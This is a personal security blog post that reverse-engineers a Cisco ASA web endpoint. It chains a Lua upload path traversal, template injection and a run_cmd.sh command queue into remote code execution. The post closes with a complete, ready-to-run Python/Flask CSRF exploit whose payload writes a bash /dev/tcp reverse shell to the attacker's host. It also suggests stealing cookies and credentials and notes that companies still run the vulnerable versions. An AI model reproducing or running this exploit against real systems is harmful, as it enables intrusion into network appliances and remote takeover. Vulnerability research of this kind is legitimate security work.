my main site is @ evan.lat. pgp for sensitive stuff: here


cisco asa xp but it isnt actually

SUMMARY: an authenticated user can abuse a file upload endpoint that passes an attacker controlled filename directly to io.open in write mode. as there is insufficient path validation, the attacker can simply path traverse around the ramfs into web accessible directories. chaining this with lua template support and setting serverside flags to trigger template injection, the attacker can execute lua code. in specific, abusing cisco’s provided ramfs2ifs bindings and a second path traversal the attacker can copy their payload from ramfs to the persistent filesystem, specifically a command queue file in /tmp/, which periodically runs commands in /tmp/cmd_que. the attacker now can achieve arbitrary command execution. in addition to the above, the endpoint does not have CSRF protection, meaning a threat actor can craft a website to automate this attack and sidestep authentication. unfortunately this wasnt classified as a cve because the endpoint is an indev endpoint that isnt present on most prod builds past 2018/2019

if youre here for the xp ctrl+f for “the xp”

this is the code that handles /+CSCOE/upload.html, which is a page that allows any authenticated user regardless of permissions to upload a LSP file. notice the bad usage of io.open.

all you need to know is that io.open is shit when we control the first arg, and it is basically equivalent to fopen. both are vulnerable to path traversal without any validation. to demonstrate:

io.write("enter filename: ")
local fname = io.read("*l") 
local f = io.open(fname, "w")
if f then
    f:write("lol hi\n") 
    f:close()
else
    print("maneeee wtf")
end
enter filename: ../../../../../../../../../../../../etc/lolwtf

root@c62a7352f8182ce837acd71f771cb7ba:/opt# ls -l /etc/lolwtf                                                          [17:47:12]
-rw-r--r-- 1 root root 7 Mar 11 17:47 /etc/lolwtf

on bapp im deadddd in the cisco backend code, the same thing is being done:

local f1 = io.open(script_name, "w");

clearly we have access to ramfs now. unfortunately the people at cisco have endured through 400 vulns in their endpoint security products, and as such have restricted what we can use in the lua sandbox. we cannot use:

so we need to find another way to execute commands.

interestingly, these are some exposed functions:

__int64 __fastcall sub_29676C0(__int64 a1)
{
  sub_24C2BD0(a1, sub_29AABB0, 0LL);
  sub_24C2A40(a1, "get_random");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29A2610, 0LL);
  sub_24C2A40(a1, "get_aware_session_index");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29A2670, 0LL);
  sub_24C2A40(a1, "get_aware_session_cookie");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29A2710, 0LL);
  sub_24C2A40(a1, "get_basic_auth_cred");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29A29B0, 0LL);
  sub_24C2A40(a1, "get_ntlm_auth_cred");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29A2D70, 0LL);
  sub_24C2A40(a1, "save_ntlm_auth_cred");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_2995F20, 0LL);
  sub_24C2A40(a1, "STRFTIME");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AAFE0, 0LL);
  sub_24C2A40(a1, "HEX2STR");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AB170, 0LL);
  sub_24C2A40(a1, "HEX2STRROT13");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AACC0, 0LL);
  sub_24C2A40(a1, "ROT13STR2HEX");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_299F630, 0LL);
  sub_24C2A40(a1, "RELOAD_FILE");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AABE0, 0LL);
  sub_24C2A40(a1, "MD5");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AB300, 0LL);
  sub_24C2A40(a1, "BASE64_ENCODE");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AB4E0, 0LL);
  sub_24C2A40(a1, "BASE64_DECODE");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AB6A0, 0LL);
  sub_24C2A40(a1, "CREATE_SCRIPT");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AB870, 0LL);
  sub_24C2A40(a1, "TRACE_IS_ON");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AB8E0, 0LL);
  sub_24C2A40(a1, "TRACE_CIFS");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AB950, 0LL);
  sub_24C2A40(a1, "TRACE_CUSTOM");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AAB50, 0LL);
  sub_24C2A40(a1, "CAPTURE_LOG");
  sub_24C1630(a1, 4294967294LL);
  sub_24C3180(a1, 4294957295LL);
  sub_24C2BD0(a1, sub_29AC100, 0LL);
  sub_24C2A40(a1, "CSD_DISABLED_FOR_TG");
  sub_24C1630(a1, 4294967294LL);
  return sub_24C3180(a1, 4294957295LL);
}

clearly we can infer from this that we can weaponize the fact that there is no csrf to trick an employee into uploading a malicious lua template that grabs cookies and creds. nice

to find more, we can simply xref and dump everything that invokves sub_24C2A40. from this, we find more stuff like: generate_oem_customization and eventually we land on something:

 aCopyRamfs2ifs    db 'copy_ramfs2ifs',0     ; DATA XREF: .data.rel.ro:000000000438CB80↓o
.rodata:000000000383DB7D                                         ; sub_24E96F0+51↑o

clicking on sub_24E96F0 my ida kills itself but we can still see the disassembly:

sub_24E96F0 proc near
; __unwind {
push    rbp
lea     rsi, cs:383DA19h ; "IFS Directory Metatable"
mov     rbp, rsp
push    rbx
mov     rbx, rdi
sub     rsp, 8
call    sub_24DC630
lea     rsi, cs:3826335h ; "__gc"
mov     rdi, rbx
call    sub_24C2A40
xor     edx, edx
mov     rdi, rbx
lea     rsi, sub_24E8010
call    sub_24C2BD0
mov     rdi, rbx
mov     esi, 0FFFFFFFDh
call    sub_24C3180
mov     rdi, rbx
xor     ecx, ecx
lea     rdx, off_438CA60 ; "copy_ifs2ramfs"
lea     rsi, aCopyIfs2ifs+9 ; "ifs"
call    sub_24DCF30
add     rsp, 8
mov     eax, 1
pop     rbx
pop     rbp
retn
; } // starts at 24E96F0
sub_24E96F0 endp

we see its called the ‘ifs directory metatable’. next, we set the __gc metamethod for garbage collection:

lea     rsi, cs:3826335h ; "__gc"
mov     rdi, rbx
call    sub_24C2A40

and we invoke sub_24C2A40. jumping to it we see quite a clusterfuck:

_DWORD *__fastcall sub_24C2A40(__int64 a1, __int64 a2)
{
  __int64 v2; // r14
  __int64 v3; // r13
  _DWORD *result; // rax

  if ( a2 )
  {
    v2 = sub_202BEE0(a2);
    if ( *(_QWORD *)(*(_QWORD *)(a1 + 32) + 72LL) >= *(_QWORD *)(*(_QWORD *)(a1 + 32) + 64LL) )
      sub_24CCA00(a1);
    v3 = *(_QWORD *)(a1 + 16);
    *(_DWORD *)v3 = 4;
    result = (_DWORD *)sub_24D4EC0(a1, a2, v2);
    *(_QWORD *)(v3 + 8) = result;
    *(_QWORD *)(a1 + 16) += 16LL;
  }
  else
  {
    result = *(_DWORD **)(a1 + 16);
    *result = 0;
    *(_QWORD *)(a1 + 16) += 16LL;
  }
  return result;
}

if we look at the lua C api we can infer from this that the int64 is probably a lua_State* state, a2 is obviously some pointer to (maybe a string?). the check is quite messy for ida

 if ( *(_QWORD *)(*(_QWORD *)(a1 + 32) + 72LL) >= *(_QWORD *)(*(_QWORD *)(a1 + 32) + 64LL) )

i cbf trying to guess the structs for this so lets clean it up a bit:

_DWORD *__fastcall sub_24C2A40(__int64 a1, __int64 a2)
{
 __int64 v2; // r14
 __int64 v3; // r13
 _DWORD *result; // rax

 if ( a2 )
 {
   v2 = sub_202BEE0(a2);
   if ( *(*(a1 + 32) + 72LL) >= *(*(a1 + 32) + 64LL) )
     sub_24CCA00(a1);
   v3 = *(a1 + 16);
   *v3 = 4;
   result = sub_24D4EC0(a1, a2, v2);
   *(v3 + 8) = result;
   *(a1 + 16) += 16LL;
 }
 else
 {
   result = *(a1 + 16);
   *result = 0;
   *(a1 + 16) += 16LL;
 }
 return result;
}

so in a very simple context its probably checking with a struct like:

struct {
    int limit;
    // ...
    int current;
}

based on the fixed offsets and the comparison we can infer that its comparing somethng + probably a limit

if ( *(*(a1 + 32) + 72LL) >= *(*(a1 + 32) + 64LL) )

(hence the consistent offsets in the pseudocode).

from this context alone we can infer that this function is probably doing some sort of stack manipulation. since it included __gc as a string in the second argument, its probably pushing something to the lua stack.

following the following functions (sub_24C2BD0(a1, sub_24E8010, 0LL)) and asking ai what the fuck sub_24E8010 is doing we slowly get a better picture. looking into the offset 0x438CA60 next, we see this:

60 off_438CA60     dq offset aCopyIfs2ramfs
.data.rel.ro:000000000438CA60                                         ; DATA XREF: sub_24E96F0+4A↑o
.data.rel.ro:000000000438CA60                                         ; "copy_ifs2ramfs"
.data.rel.ro:000000000438CA68                 dq offset sub_24E9040
.data.rel.ro:000000000438CA70                 dq offset aCopyStdin2ramf_0 ; "copy_stdin2ramfs"
.data.rel.ro:000000000438CA78                 dq offset sub_24E8130
.data.rel.ro:000000000438CA80                 dq offset aCopyData2ramfs_0 ; "copy_data2ramfs"
.data.rel.ro:000000000438CA88                 dq offset sub_24E8050
.data.rel.ro:000000000438CA90                 dq offset aCopyIfs2ramfsT_1 ; "copy_ifs2ramfs_tmp"
.data.rel.ro:000000000438CA98                 dq offset sub_24E8D00
.data.rel.ro:000000000438CAA0                 dq offset aCopyIfs2ramfsT_2 ; "copy_ifs2ramfs_tmp_ns"
.data.rel.ro:000000000438CAA8                 dq offset sub_24E8EA0
.data.rel.ro:000000000438CAB0                 dq offset aCopyStdin2ramf_1 ; "copy_stdin2ramfs_tmp"
.data.rel.ro:000000000438CAB8                 dq offset sub_24E8820
.data.rel.ro:000000000438CAC0                 dq offset aCopyData2ramfs_1 ; "copy_data2ramfs_tmp"
.data.rel.ro:000000000438CAC8                 dq offset sub_24E8730
.data.rel.ro:000000000438CAD0                 dq offset aCopyRamfs2ifs ; "copy_ramfs2ifs"
.data.rel.ro:000000000438CAD8                 dq offset sub_24E91E0
.data.rel.ro:000000000438CAE0                 dq offset aCopyRamfs2ifsN ; "copy_ramfs2

we can take an educated guess and see that this is probably some sort of table that associates methods. jumping to .data.rel.ro:000000000438CA68 dq offset sub_24E9040 revealed:

__int64 __fastcall sub_24E9040(__int64 a1)
{
  const char *v1; // r12
  const char *v2; // r13
  unsigned int v3; // r14d
  __int64 v4; // rax
  int v5; // r14d
  unsigned int v7; // r15d
  size_t v8; // rax
  __int64 v9; // rax
  char *v10; // [rsp+0h] [rbp-40h] BYREF

  v1 = sub_24DC9E0(a1, 1LL, 0LL);
  v2 = sub_24DC9E0(a1, 2LL, 0LL);
  v3 = sub_24DCD30(a1, 3LL, 0.0);
  sub_1DB6EC0();
  if ( !dword_751A6E0 )
    sub_1DB6740();
  if ( dword_50A9E4C
    || (v7 = sub_1DB6EC0(), v7 != sub_1DB7220())
    || (v8 = sub_202BEE0("disk0:/csco_config"), sub_202BF50("disk0:/csco_config", v1, v8)) )
  {
    v4 = sub_23862D0();
    v5 = sub_23A4970(v4, v1, v2, v3);
  }
  else
  {
    sub_1DB84B0(0LL);
    v9 = sub_23862D0();
    v5 = sub_23A4970(v9, v1, v2, v3);
    sub_1DB84B0(v7);
  }
  if ( v5 )
  {
    v10 = 0LL;
    sub_27D8200(&v10, "copying '%s' to ramfs file '%s' failed", v1, v2);
    sub_24C29A0(a1);
    sub_24C2A40(a1, v10);
    if ( v10 )
      free();
    return 2LL;
  }
  else
  {
    sub_24C29C0(a1, 1.0);
    return 1LL;
  }
}

ill reverse the code so you can see the problem:

__int64 __fastcall ifs2ramfsimpl(maybeLuaState *L)
{
    const char *src_path;      // r12
    const char *dst_path;      // r13
    unsigned int flags;        // r14d
    int result;                // r14d
    unsigned int saved_ns;     // r15d
    size_t prefix_len;         
    __int64 fs_ctx;
    char *err = NULL;

    // inferred from src_path
    src_path = lua_get_string_arg(L, 1);
    dst_path = lua_get_string_arg(L, 2);
    flags    = lua_get_int_arg(L, 3);

    init_fs_runtime();

    if (!namespace_initialized)
        init_namespace();

    if (global_copy_mode
        || (saved_ns = get_current_namespace()) != get_default_namespace()
        || strncmp("disk0:/csco_config", src_path, strlen("disk0:/csco_config")))
    {
        fs_ctx = get_fs_context();
        result = fs_copy_file(fs_ctx, src_path, dst_path, flags);
    }
    else
    {
        disable_namespace(NULL);

        fs_ctx = get_fs_context();
        result = fs_copy_file(fs_ctx, src_path, dst_path, flags);

        restore_namespace(saved_ns);
    }

    if (result)
    {
        asprintf(&err, "copying '%s' to ramfs file '%s' failed", src_path, dst_path);

        lua_pop(L, 1);
        lua_push_string(L, err);

        if (err)
            free(err);

        return 2;
    }

    // ...

see the problem yet budyd

another one

copy_ramfs2ifs only checks whether or not the path starts with disk0:/csco_config in this check:

if (global_copy_mode
        || (saved_ns = get_current_namespace()) != get_default_namespace()
        || strncmp("disk0:/csco_config", src_path, strlen("disk0:/csco_config")))

obviously in some firmwares they straight up ignore traversals and treat them literally as filenames, so we dont really know yet. digging down the path resolver, we land at:

char __fastcall sub_23894C0(__int64 *a1, __int64 *a2, _BYTE *a3, _DWORD *a4, __int64 a5)
{
  char v8; // r9
  char result; // al
  __int64 v10; // rax
  int v11; // edx
  _BYTE *v12; // rax
  unsigned __int64 v13; // rax
  int v14; // r9d
  _BYTE *v15; // r15
  int *v16; // rax
  __int64 v17; // rdi
  int *v18; // r12
  char v19; // r8
  __int64 v20; // rdx
  __int64 (__fastcall *v21)(__int64, __int64 *, _BYTE *); // rax
  int v22; // edx
  int v23; // eax
  __int64 v24; // rdx
  __int64 i; // rsi
  char v26; // al
  char v27; // al
  char v28; // [rsp+Ch] [rbp-144h]
  char v29; // [rsp+Ch] [rbp-144h]
  int v30; // [rsp+10h] [rbp-140h]
  int v31; // [rsp+10h] [rbp-140h]
  size_t v32; // [rsp+18h] [rbp-138h]
  char v33; // [rsp+18h] [rbp-138h]
  _BYTE v34[304]; // [rsp+20h] [rbp-130h] BYREF

  v8 = *a3;
  if ( *a3 == 46 )
  {
    v26 = a3[1];
    switch ( v26 )
    {
      case 46:
        v27 = a3[2];
        if ( !v27 )
        {
          *a2 = *(*a2 + 288);
          result = 1;
          *a4 = 2;
          return result;
        }
        if ( v27 == 47 )
        {
          *a2 = *(*a2 + 288);
          result = 1;
          *a4 = 3;
          return result;
        }
        break;
      case 47:
        *a4 = 2;
        return 4;
      case 0:
        *a4 = 1;
        return 4;
    }
  }
  else
  {
    if ( v8 == 47 )
    {
      result = 2;
      if ( *(*a2 + 4) != 2 )
      {
        *a4 = 1;
        return 4;
      }
      return result;
    }
    result = 0;
    if ( !v8 )
      return result;
  }
  v10 = *a2;
  v11 = *(*a2 + 4);
  if ( v11 )
  {
    result = 2;
    if ( v11 == 2 )
      return result;
    v12 = a3;
    do
      ++v12;
    while ( *v12 && *v12 != 47 );
    v13 = v12 - a3;
    v14 = v13;
    v32 = v13;
    if ( v13 <= 0xFF )
    {
      v15 = v34;
    }
    else
    {
      v28 = a5;
      v30 = v13;
      v15 = sub_23805F0(13LL, v13 + 1, "ramfs__path_skipto", -1LL, a5, v13);
      result = 5;
      if ( !v15 )
        return result;
      v14 = v30;
      LOBYTE(a5) = v28;
    }
    v29 = a5;
    v31 = v14;
    memcpy(v15, a3, v32);
    v15[v32] = 0;
    *a4 = v31;
    v16 = __errno_location();
    v17 = *a2;
    v18 = v16;
    v19 = v29;
    if ( *a2 && (v20 = *(v17 + 16)) != 0 )
    {
      v21 = *(v20 + 88);
      v22 = 0;
      if ( v21 )
      {
        v23 = v21(v17, a2, v15);
        v19 = v29;
        v22 = v23;
      }
    }
    else
    {
      v22 = 0;
    }
    *v18 = v22;
    if ( v15 != v34 )
    {
      v33 = v19;
      sub_2382610(v15);
      v19 = v33;
    }
    v24 = *a2;
    result = 3;
    if ( *a2 )
    {
      result = 1;
      if ( (v19 & 0x10) != 0 && !*(v24 + 4) )
      {
        if ( *a1 )
        {
          --*(*a1 + 32);
          v24 = *a2;
        }
        *a1 = *(v24 + 8);
        *a2 = *(*(*a2 + 8) + 40LL);
        for ( i = *a1; (*(*a1 + 36) & 1) != 0; i = *a1 )
          sub_237A110(i + 8);
LABEL_25:
        ++*(i + 32);
        return 1;
      }
    }
  }
  else
  {
    if ( *a1 )
    {
      --*(*a1 + 32);
      v10 = *a2;
    }
    *a1 = *(v10 + 8);
    *a2 = *(*(*a2 + 8) + 40LL);
    i = *a1;
    if ( (*(*a1 + 36) & 1) == 0 )
      goto LABEL_25;
    do
    {
      sub_237A110(i + 8);
      i = *a1;
    }
    while ( (*(*a1 + 36) & 1) != 0 );
    ++*(i + 32);
    return 1;
  }
  return result;
}

notice

if (*a3 == '.')
{
    v26 = a3[1];
    switch (v26)
    {
      case '.':
        v27 = a3[2];
        if (!v27)
        {
          *a2 = *(*a2 + 288);
          *a4 = 2;
          return 1;
        }
        if (v27 == '/')
        {
          *a2 = *(*a2 + 288);
          *a4 = 3;
          return 1;
        }

obviously i have no idea what the fuck is going on here but we can guess from context:

if *a3 -> a3[1] -> .., then the code does: *a2 = *(*a2 + 288);. weird lol

notice however that in the other parts of the code *a2 is being treated like its a node:

  if ( *(*a2 + 4) != 2 )
      {
        *a4 = 1;
        return 4;
      }
      return result;

and clearly, its parsing the path as you would parse a path normally. the only reason why they would nest a check for a second dot is that they acknowledge ... thus there is very likely a path traversal in copy_ramfs2ifs.

so far (excluding the path traversal in copy_ramfs2ifs) we can now do the following:

however traversing within ramfs doesnt do us any good besides being able to serve stuff to /+CSCOE+/*; as we are sandboxed; we are still confined by the fact that we have no access to methods that let us run arbitrary commands. quite tragic. so lets see what we can do now that we have control of ifs.

shit sbx

now with this ramfs2ifs method we have a pipeline to move files from inside ramfs to the integrated file system of the asa box. our next step is to obviously fidn some sort of sink that lets us execute commands arbitrarily. going to ida and simply searching for strings that contain ‘cmd’ we end up on this:

.rodata:0000000003E2F718 aTmpRunCmdQue   db '/tmp/run_cmd_que',0 ; DATA XREF: sub_1541780:loc_1541990↑o
.rodata:0000000003E2F729 ; const char aTmpRunCmdPid[]
.rodata:0000000003E2F729 aTmpRunCmdPid   db '/tmp/run_cmd.pid',0 ; DATA XREF: sub_1541780+585↑o

clicking on where it was xrefed leads us to a massive clusterfuck. ill simply show the main part you need to care about in assembly:

loc_1541990:                            ; CODE XREF: sub_1541780+23D↓j
                                        ; sub_1541780+27E↓j
                lea     rdi, aTmpRunCmdQue ; "/tmp/run_cmd_que"
                xor     eax, eax
                mov     edx, 1A4h
                mov     esi, 1          ; oflag
                call    _open
                mov     edi, [r12]      ; errnum
                cmp     eax, 0FFFFFFFFh
                jnz     short loc_15419C0
                cmp     edi, 4
                jnz     short loc_15419C0
                add     cs:dword_7ED5028, 1
                jmp     short loc_1541990

in short, this simply opens something called a cmd_que. interesting, but what for, the curious-minded may ask. checking xrefs we eventually land on a seperate handler that invokes the following:

     result = sub_3701DD0();
              if ( dword_8CC64C8 || pix_platform == 122 && (result = sub_2697EB0()) != 0 )
              {
                system("pkill -9 run_cmd.sh");
                return system("/asa/scripts/run_cmd.sh &");

clearly run_cmd.sh is exactly as its name entails. this is in the ifs. so now, we have a pretty good idea of what we can do in terms of the second stage of the chain:

  1. we can ‘escape’ from ramfs and the ‘sandbox’ by using the copy_ramfs2ifs and path traverse out of their usual file bounds
  2. we can write to /tmp/cmd_que
  3. run_cmd.sh likely runs commands every once in a while

looking at run_cmd.sh:

#!/bin/bash
pipe=/tmp/run_cmd_que

if [[ ! -p $pipe ]]; then
    mkfifo $pipe
fi

echo $$ > /tmp/run_cmd.pid
echo $$ >> /dev/cgroups/cpuset/normal/tasks
echo $$ >> /dev/cgroups/cpu/privileged/tasks

IFS=""
while (true)
do
   while read -r line
   do
     chmod 777 "$line"
     "$line" &
   done < <(/bin/cat $pipe)
done

clearly we are running every line of code in the bg. theres our rce

the xp

here’s the xp. it probably wouldnt work on a lot of modern day ASA boxes unless its in dev/some specific version of the fw.

# momentum 9.1*
import sys, time, uuid, threading
import requests
import urllib.parse
from flask import Flask, Response

requests.packages.urllib3.disable_warnings()

if len(sys.argv) < 4:
    print(f"usage: {sys.argv[0]} <target> <localhost> <localport>")
    sys.exit(1)

datarg = sys.argv[1].rstrip("/")
localhost = sys.argv[2]
localport = int(sys.argv[3])
endpoint = f"{datarg}/+CSCOE+/upload.html?mode=add&include=1"
triggerpath = f"/../+CSCOE+/+{uuid.uuid4().hex[:8]}.html"
triggerurl = f"{datarg}/+CSCOE+/+{triggerpath.split('+')[-1]}"

plname = f"tungtung_{uuid.uuid4().hex[:6]}"

REVSHELL = f"/bin/bash -i >& /dev/tcp/{localhost}/{localport} 0>&1"
# init payload
luapl = f"""<?
local ifs = require("ifs")
local payload = "{REVSHELL}"
local tmpfile = "/+CSCOE+/{plname}"
local f = io.open(tmpfile, "w")
-- this check is needed
if f then
    f:write(payload .. "\\n")
    f:close()
end
ifs.copy_ramfs2ifs(tmpfile, "../../../tmp/cmd_que", 0)
OUT("ok")
?>"""

app = Flask(__name__)

# main page
@app.route("/")
def csrfpage():
    boundary = "----WebKitFormBoundary" + uuid.uuid4().hex[:16]

    body_parts = []

    body_parts.append(f"--{boundary}\r\n")
    body_parts.append(f'Content-Disposition: form-data; name="url1"\r\n\r\n')
    body_parts.append(f"{triggerpath}\r\n")

    body_parts.append(f"--{boundary}\r\n")
    body_parts.append(f'Content-Disposition: form-data; name="uploadedfile1"; filename="{triggerpath}"\r\n')
    body_parts.append("Content-Type: application/octet-stream\r\n\r\n")
    body_parts.append(f"{luapl}\r\n")

    body_parts.append(f"--{boundary}--\r\n")

    body_raw = "".join(body_parts)

    html = f"""<html>
<body>
<h3>thanks 4 da IA g</h3>
<script>
var boundary = "{boundary}";
var body = {repr(body_raw)};

var xhr = new XMLHttpRequest();
xhr.open("POST", "{endpoint}", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
xhr.onreadystatechange = function() {{
    if (xhr.readyState === 4) {{
        setTimeout(function() {{
            var trigger = new XMLHttpRequest();
            trigger.open("GET", "{triggerurl}", true);
            // ok 
            trigger.withCredentials = true;
            trigger.onreadystatechange = function() {{
                if (trigger.readyState === 4) {{
                    document.body.innerHTML = "<h3>done (" + trigger.status + ")</h3>";
                }}
            }};
            trigger.send();
        }}, 1500);
    }}
}};
xhr.send(body);
</script>
</body>
</html>"""
    return Response(html, content_type="text/html")


def verify_upload():
    time.sleep(10)
    print(f"+ trigger url: {triggerurl}")
    try:
        r = requests.get(triggerurl, verify=False, timeout=10)
        # kinda brittle from experience prob just remove the latter
        if r.status_code == 200 and "ok" in r.text:
            print("+  trigger fired, shelling...")
        else:
            print(f"+ trigger returned {r.status_code}")
    except Exception as e:
        print(f"+ verify failed: {e}")

# ok this should do
if __name__ == "__main__":
    print("maneee wtf maeee on bap maneee im deaddddd maneee maneeee maimmeenene 3d88aca5c273bf1337a849b37a83e069")
    print(f"+ serving csrf page")
    print(f"run nc on {localport}")
    app.run(host="0.0.0.0", port=8080)

we set up a simple csrf page, upload the second path traversal page stage, trigger the second stage and receive a reverse shell.

fin

unfortunately this didnt qualify for a cve (although there are other prospects regarding the same cisco asa version(s) that are in the process already) because it targeted an internal undocumented endpoint that became a dead stub after certain EOL versions. this should give you some decent enough rce sinks though

there are a few companies that use vulnerable versions of this asa.

expect a part 2 to this soon (iykyk jajayayayayaya)